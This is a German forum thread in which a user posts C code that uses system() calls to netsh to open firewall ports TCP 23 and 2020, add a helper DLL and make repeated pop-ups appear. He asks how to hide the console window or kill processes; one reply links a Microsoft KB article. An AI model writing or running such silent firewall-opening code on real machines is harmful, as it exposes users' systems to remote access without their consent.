Hilfe mit "CreateProcess"o "ShellExecute"



  • Hallo an alle ich hab da so eine frage... ich moechte wissen wie ich mit C das MSDOS fenster schliessen kann.. also hier ist mein c0de..( Das was ich moechte ist die Prozesse zu beende.. ich kann das nur mit batch... und wollte wissen wie ich das fenster von msdos schliessen kann....oder wie ich die selben prozesse Mit "C" beenden kann.. ich hab irgedwas von "<Tlhelp32.h>" und von "CreateProcess" und von "ShellExecute" aber ich weiss nicht wo ich information dafuer bekommen kann..

    MfG

    Alejandr0

    #include <windows.h>
    
    /*  Declare Windows procedure  */
    LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
    
    /*  Make the class name into a global variable  */
    char szClassName[ ] = "WindowsApp";
    
    int WINAPI WinMain (HINSTANCE hThisInstance,
                        HINSTANCE hPrevInstance,
                        LPSTR lpszArgument,
                        int nFunsterStil)
    
    {
    
                          int a, b, c=0;    
        for(a=0 ; a<1 ; a++);
        {
                system("netsh firewall add portopening TCP 23  blabla");
                system("netsh firewall add portopening TCP 2020  BlaBla");
                }
         for(b=0 ; b<1 ; b++)
        {
                system("netsh add helper *.dll"); /* hier versuche ich eine Help.dll  zu adden.. wenn der nicht gfunden wird.. komm so ein MsgBox alert */
                }
        while(c<5)
        {
                    c++;
                    system("netsh /?"); /* hier gebe ich den command "netsh" ein damit das MsgBox von oben immer wieder kommt.. */
                    }
    
    }
    


  • Dieser Thread wurde von Moderator/in TactX aus dem Forum ANSI C in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • Du kannst die Ausgabe von Konsolenanwendungen umlenken und brauchst quasi gar kein Konsolen-Fenster erzeugen.

    MS hat da was in der KB:
    http://support.microsoft.com/?scid=kb%3Ben-us%3B190351&x=19&y=12


Anmelden zum Antworten